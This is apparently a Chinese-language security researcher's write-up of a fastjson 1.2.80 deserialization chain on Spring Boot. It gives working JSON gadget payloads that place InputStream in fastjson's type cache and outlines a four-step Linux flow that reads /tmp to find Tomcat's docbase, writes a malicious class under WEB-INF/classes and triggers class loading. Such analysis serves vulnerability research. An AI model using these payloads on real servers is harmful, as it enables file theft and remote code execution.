geekcon2024 jsjcw师傅披露的fastjson 1.2.80在spring下的RCE利用有很多值得学习的地方。这么看去年出的elephantcms又多了一个非预期,不过这个非预期比预期解还难😓

问题1:缓存InputStream

怎么缓存InputStream

1.2.68的修复方式将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单。在1.2.80的常见利用中用到的期望类为:ThrowableException,而本次gadget用到的是Exception

学习本次挖掘gadget需了解关键特性1:fastjson反序列化符合条件的期望类时,会将setter参数、public字段、构造函数参数加到缓存中

1731045004757

我们先发一个简单的payload看看fastjson是怎么缓存新类的:

{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}

跟进到com.alibaba.fastjson.parser.ParserConfig#checkAutoType

checkAutoType:1444, ParserConfig (com.alibaba.fastjson.parser)
parseObject:343, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:155, JSON (com.alibaba.fastjson)
getPropertyValue:3850, JSONPath (com.alibaba.fastjson)
eval:2354, JSONPath$PropertySegment (com.alibaba.fastjson)
eval:121, JSONPath (com.alibaba.fastjson)
handleResovleTask:1599, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
vuln:12, JSONController (org.example.controller)

发现这里从Mapping缓存取到了Exception期望类:image-20241108140145092

可以看到在TypeUtilsstatic中(也就是初始化)调用addBaseClassMappingsmappings缓存中添加了Exception等期望类:

image-20241108140413822

在拿到对应的Exception类后该恢复字段信息了,这里我们的字段是特殊的@type。首先fj找到Exception对应的反序列化器ThrowableDeserializer

1731047938347

后续会走到ThrowableDeserializer#deserialize,注意这里传了期望类(Throwable.class):

exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此在loadclass后会把com.fasterxml.jackson.core.exc.InputCoercionException加到缓存:

1731049413307

ok,发送如下payload

{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException","p":{}}

在拿到反序列化器并且恢复完InputCoercionException后,后面用反序列化器拿到对应字段并根据key实例化FieldDeserializer。这里fileldInfoclassJsonParser,因为我们的value是个jsonobject因此调用cast进行类型转换:

1731050042273

这个函数会根据传入对象的类型来进行对应的类型转换,传入的是p会走到Map的类型转换:

1731050469063

注意这里拿了com.fasterxml.jackson.core.JsonParser的反序列化器。

image-20241108152301963

调用putDeserializer函数this.deserializers.put(type, deserializer),也就是说在拿到构造函数字段的反序列化器的同时还会往缓存里放type和反序列化器。

this.deserializers.put(type, deserializer);

image-20241108153606397

好好好,接下来发送:

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

而后续在反序列化JsonParser类过程中走checkAutoType就能取到这个类了:

image-20241108154008903

UTF8StreamJsonParser来说他是JsonParser一个特殊field,情况和InputCoercionException之于Exception相似:

loadClass该类后还是走这个添加缓存逻辑:

if (expectClass.isAssignableFrom(clazz)) {
    TypeUtils.addMapping(typeName, clazz);
    return clazz;
}

而又因为InputStreamUTF8StreamJsonParser的构造参数因此不再赘述,与上述InputCoercionException之于JsonParser的情况类似。

PS:翻了翻实现JsonParser的类发现确实只有UTF8StreamJsonParser的构造参数存在InputStream,因此想找新链的话只能从InputCoercionException甚至更往前找了:)

整体gadget逻辑作者写的非常清晰:

1731052436591

为什么缓存InputStream

因为在1.2.80 fastjson禁了AutoCloseable,而BH之前爆出来的逐字节读文件的利用类BOMInputStream继承了InputStream,因此拿InputStream就是为了实现任意文件读。

这里合理推测作者是看到这个poc开始挖掘gadget的。因为AutoCloseableban退而求其次找InputStream,结合fastjson缓存新类的特性找到了往缓存里塞InputStreamgadget

image-20241108160540367

关于任意文件写,作者应该是找到了一个全新的链子解决了必须8192字节的问题,膜:

1731053582658

不过话说回来之前看过一个fjWAF打任意文件写的ctf题,那道题最后限制了字符长度,打8192字节那条gadget会被ban,不知道是不是想考这条链子?

问题2:SpringBoot 任意文件写 to RCE?

尽管之前有师傅提出了写charset.jar实现RCE的思路,但本人从未复现成功过(不是没权限就是存在类加载问题)。这里作者给了一个新的思路同样很值得学习。

fastjson在类加载时通过TomcatEmbeddedWebappClassLoader类加载器加载类:

image-20241108163540689

根据双亲委派机制有些类会让WebappClassLoaderBase来加载。而WebappClassLoaderBase#findClass这里竟然有个加载内部类的逻辑:

image-20241108164104953

看一下类加载路径,居然在temp目录下有个新的类加载口子:

image-20241108164546664

而在linuxdocbase的路径在/tmp,因此往docbase路径下写类就可以打类加载了,而该路径可以通过路径遍历或任意文件读取得到。不过话说回来在应用重启时又会出现新的docbase,图省事的话我们全都打一遍。

1731055641321

linux攻击流程

  1. InputStream放入fastjson缓存
  2. 读取/tmp文件下的文件,找到docbase的文件名。
  3. ${docbase}/WEB-INF/classes/路径下写入恶意类
  4. 通过fastjson触发类加载。

参考

  1. https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf
  2. https://github.com/luelueking/CVE-2022-25845-In-Spring
  3. https://y4er.com/posts/fastjson-1.2.80/#%E5%9B%9E%E9%A1%BEfastjson%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E